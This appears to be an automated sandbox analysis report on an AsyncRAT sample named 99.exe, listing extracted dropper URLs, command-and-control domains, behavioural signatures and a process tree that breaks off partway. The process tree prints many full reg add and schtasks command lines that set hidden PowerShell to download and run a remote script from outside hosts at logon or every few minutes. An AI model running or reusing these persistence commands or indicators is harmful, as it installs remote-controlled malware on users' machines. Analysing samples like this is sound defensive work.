Overview

overview

10

Static

static

10

99.exe

windows10-ltsc_2021-x64

10

99.exe

windows10-2004-x64

10

99.exe

windows11-21h2-x64

10

99.exe

windows11-ltsc_2024-x64

10

99.exe

android-11-x64

99.exe

android-14-x64

99.exe

android-15-x64

99.exe

ubuntu-18.04-amd64

Analysis

  • geolocation tags

    asiadelhiinindia
  • user interaction
    yes
  • max time kernel
    899s
  • max time network
    900s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    14/10/2026, 06:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    99.exe
  • Size 160KB
  • Sample261014-hhgckazzev
  • SHA256 72b018572e76fb8981017c41197c57c0a642613f2886650a6f7073e5fcb114fe
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasiondiscoveryexecutionasyncratpersistenceratspyware

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://ee88-e888-com.cc/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.ex88.jp.net/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.mwpoker.us/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.arkaan.cc/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.juad888.us/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.superautoslot.vip/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.way2ship.in/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.abgstore.com.co/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.ee88-e888-com.cc/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.doyanslot.us/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.fifa55hr.com/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.skuy88.com/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.fifareport.com/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.999betslot.vip/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.tk88lighting.in.net/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://backdoor.fifa55red.me/malware/load.ps1

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://skuy88.com/malware/load.ps1

Extracted

Family

  • asyncrat

Version

  • 0.5.6A

C2

  • fifareport.com:443

  • 999betslot.vip:443

  • way2ship.in:443

  • tk88lighting.in.net:443

  • x88slots.info:443

  • juad888.us:443

  • ex88.jp.net:443

  • arkaan.cc:443

  • afribus.co:443

  • webnghean.com:443

  • eficiencia-energetica.co:443

  • mwpoker.us:443

  • skuy88.com:443

  • fifa55hr.com:443

  • doyanslot.us:443

  • 61116222b2.buzz:443

  • fifa55red.me:443

  • abgstore.com.co:443

  • superautoslot.vip:443

  • qh88eu.com:443

Mutex

  • tele@hidd3ng3m

Attributes
  • delay

    5

  • install

    true

  • install_file

    Rookie.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Modifies WinLogon for persistence 2 TTPs 33 IoCs
    persistence
  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 19 IoCs

    Run Powershell and hide display window.

    execution
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs
    persistence
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Registers new Windows logon scripts automatically executed at logon. 1 TTPs 33 IoCs
    persistence
  • Adds Run key to start application 2 TTPs 64 IoCs
    persistence
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Meterpreter User-Agent 64 IoCs

    Uses user-agent string related to Meterpreter framework.

  • Modifies Internet Explorer settings 1 TTPs 64 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 17 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of SetWindowsHookEx 34 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\99.exe
    "C:\Users\Admin\AppData\Local\Temp\99.exe"
    1⤵
    • Checks computer location settings
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:1252
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1708
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:5728
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:1960
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5348
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:4812
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5060
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:5240
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5604
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5824
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2036
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://ee88-e888-com.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5224
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5244
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:8
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5252
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:3916
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5772
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:3840
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:628
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:5700
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1524
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:3108
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc onlogon /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5356
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3224
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.ex88.jp.net/malware/load.ps1')\"" /sc minute /mo 5 /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5696
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:380
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:4960
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:868
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:4480
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1772
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:2544
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5740
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:3300
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1704
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:5952
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1556
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
        3⤵
        • Adds Run key to start application
        PID:6068
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4456
      • C:\Windows\system32\reg.exe
        reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /f
        3⤵
        • Registers new Windows logon scripts automatically executed at logon.
        PID:5004
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5316
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
        3⤵
        • Event Triggered Execution: Image File Execution Options Injection
        PID:640
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Windows\system32\reg.exe
        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
        3⤵
        • Modifies WinLogon for persistence
        PID:2480
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc onlogon /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4700
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc onlogon /f
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1548
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc minute /mo 5 /f
      2⤵
        PID:3684
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.mwpoker.us/malware/load.ps1')\"" /sc minute /mo 5 /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1572
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4484
        • C:\Windows\system32\reg.exe
          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /f
          3⤵
          • Registers new Windows logon scripts automatically executed at logon.
          PID:3992
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc onlogon /f
        2⤵
          PID:4692
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc onlogon /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3408
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
          2⤵
          • Executes a command shell one-liner
          PID:5620
          • C:\Windows\system32\schtasks.exe
            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.arkaan.cc/malware/load.ps1')\"" /sc minute /mo 5 /f
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3148
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
          2⤵
            PID:5404
            • C:\Windows\system32\reg.exe
              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://backdoor.superautoslot.vip/malware/load.ps1')\"" /f
              3⤵
              • Adds Run key to start application
              PID:4232
          • C:\Windows\System32\cmd.exe
